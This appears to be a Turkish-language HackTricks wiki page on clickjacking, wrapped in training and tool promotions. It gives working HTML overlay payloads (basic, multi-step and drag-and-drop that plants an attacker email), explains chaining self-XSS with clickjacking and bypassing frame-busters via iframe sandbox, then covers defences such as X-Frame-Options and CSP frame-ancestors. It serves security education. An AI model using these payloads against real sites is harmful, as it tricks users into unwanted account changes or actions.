12 KiB
Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Clickjacking Nedir
Bir clickjacking saldırısında, bir kullanıcı, bir web sayfasındaki görünmez veya farklı bir öğe olarak gizlenmiş bir öğe üzerine tıklamaya kandırılır. Bu manipülasyon, kullanıcının istemeden kötü amaçlı yazılım indirmesi, kötü niyetli web sayfalarına yönlendirilmesi, kimlik bilgileri veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin çevrimiçi satın alınması gibi istenmeyen sonuçlara yol açabilir.
Formları Önceden Doldurma Hilesi
Bazen bir sayfa yüklenirken GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
Sürükle ve Bırak ile Form Doldurma
Kullanıcının bir formu doldurmasını istiyorsanız ancak ona bazı özel bilgileri (bildiğiniz e-posta veya özel şifre gibi) yazmasını doğrudan istemek istemiyorsanız, ona sadece Sürükle ve Bırak yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, bu örnekteki gibi.
Temel Yük
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Çok Aşamalı Yükleme
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Sürükle&Bırak + Tıkla yükü
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Eğer bir kullanıcının tıklamasını gerektiren bir XSS saldırısı tespit ettiyseniz ve sayfa clickjacking'e karşı savunmasızsa, kullanıcıyı butona/bağlantıya tıklamaya kandırmak için bunu kötüye kullanabilirsiniz.
Örnek:
Hesabın bazı özel detaylarında bir self XSS buldunuz (bu detayları sadece siz ayarlayabilir ve okuyabilirsiniz). Bu detayları ayarlamak için kullanılan formun bulunduğu sayfa Clickjacking'e karşı savunmasız ve formu GET parametreleri ile önceden doldurabilirsiniz.
__Bir saldırgan, formu XSS yükü ile önceden doldurarak o sayfaya bir Clickjacking saldırısı hazırlayabilir ve kullanıcıyı formu göndermeye kandırabilir. Böylece, form gönderildiğinde ve değerler değiştirildiğinde, kullanıcı XSS'i çalıştıracaktır.
Clickjacking'i Azaltma Stratejileri
İstemci Tarafı Savunmaları
İstemci tarafında yürütülen betikler, Clickjacking'i önlemek için eylemler gerçekleştirebilir:
- Uygulama penceresinin ana veya üst pencere olduğundan emin olmak.
- Tüm çerçevelerin görünür olmasını sağlamak.
- Görünmez çerçevelere tıklamayı önlemek.
- Kullanıcıları potansiyel Clickjacking girişimlerine karşı tespit etmek ve uyarmak.
Ancak, bu çerçeve kırıcı betikler aşılabilir:
- Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.
- HTML5 iframe
sandbox
Özelliği: Bir saldırgan,allow-forms
veyaallow-scripts
değerleri ilesandbox
özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir,allow-top-navigation
olmadan. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
The allow-forms
ve allow-scripts
değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin beklenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak allow-same-origin
ve allow-modals
gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
Sunucu Tarafı Savunmaları
X-Frame-Options
X-Frame-Options
HTTP yanıt başlığı, tarayıcılara bir sayfanın <frame>
veya <iframe>
içinde render edilmesinin meşruiyeti hakkında bilgi verir ve Clickjacking'i önlemeye yardımcı olur:
X-Frame-Options: deny
- Hiçbir alan içeriği çerçeveleyemez.X-Frame-Options: sameorigin
- Sadece mevcut site içeriği çerçeveleyebilir.X-Frame-Options: allow-from https://trusted.com
- Sadece belirtilen 'uri' sayfayı çerçeveleyebilir.- Sınırlamaları not edin: tarayıcı bu yönergeyi desteklemiyorsa, çalışmayabilir. Bazı tarayıcılar CSP frame-ancestors yönergesini tercih eder.
İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi
CSP'deki frame-ancestors
yönergesi, Clickjacking koruması için önerilen yöntemdir:
frame-ancestors 'none'
-X-Frame-Options: deny
ile benzer.frame-ancestors 'self'
-X-Frame-Options: sameorigin
ile benzer.frame-ancestors trusted.com
-X-Frame-Options: allow-from
ile benzer.
Örneğin, aşağıdaki CSP yalnızca aynı alan adından çerçevelemeye izin verir:
Content-Security-Policy: frame-ancestors 'self';
Daha fazla ayrıntı ve karmaşık örnekler için frame-ancestors CSP belgelerine ve Mozilla'nın CSP frame-ancestors belgelerine bakabilirsiniz.
İçerik Güvenlik Politikası (CSP) ile child-src
ve frame-src
İçerik Güvenlik Politikası (CSP), tarayıcının hangi kaynakların içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.
frame-src
Yönergesi
- Çerçeveler için geçerli kaynakları tanımlar.
default-src
yönergesinden daha spesifiktir.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden çerçevelere izin verir.
child-src
Yönergesi
- Web işçileri ve çerçeveler için geçerli kaynakları belirlemek üzere CSP seviye 2'de tanıtılmıştır.
- frame-src ve worker-src için bir yedek olarak işlev görür.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
Kullanım Notları:
- Kullanımdan Kaldırma: child-src, frame-src ve worker-src lehine aşamalı olarak kaldırılmaktadır.
- Yedek Davranış: Eğer frame-src yoksa, child-src çerçeveler için yedek olarak kullanılır. Her ikisi de yoksa, default-src kullanılır.
- Sıkı Kaynak Tanımı: Sömürüyü önlemek için direktiflerde yalnızca güvenilir kaynaklar dahil edilmelidir.
JavaScript Çerçeve Kırma Scriptleri
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve kırma scriptleri, bir web sayfasının çerçevelenmesini önlemek için kullanılabilir. Örnek:
if (top !== self) {
top.location = self.location;
}
Anti-CSRF Tokenlarının Kullanımı
- Token Doğrulama: Web uygulamalarında anti-CSRF tokenları kullanarak, durum değiştiren isteklerin kullanıcının isteğiyle ve Clickjacked bir sayfa aracılığıyla değil, kasıtlı olarak yapıldığından emin olun.
Referanslar
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.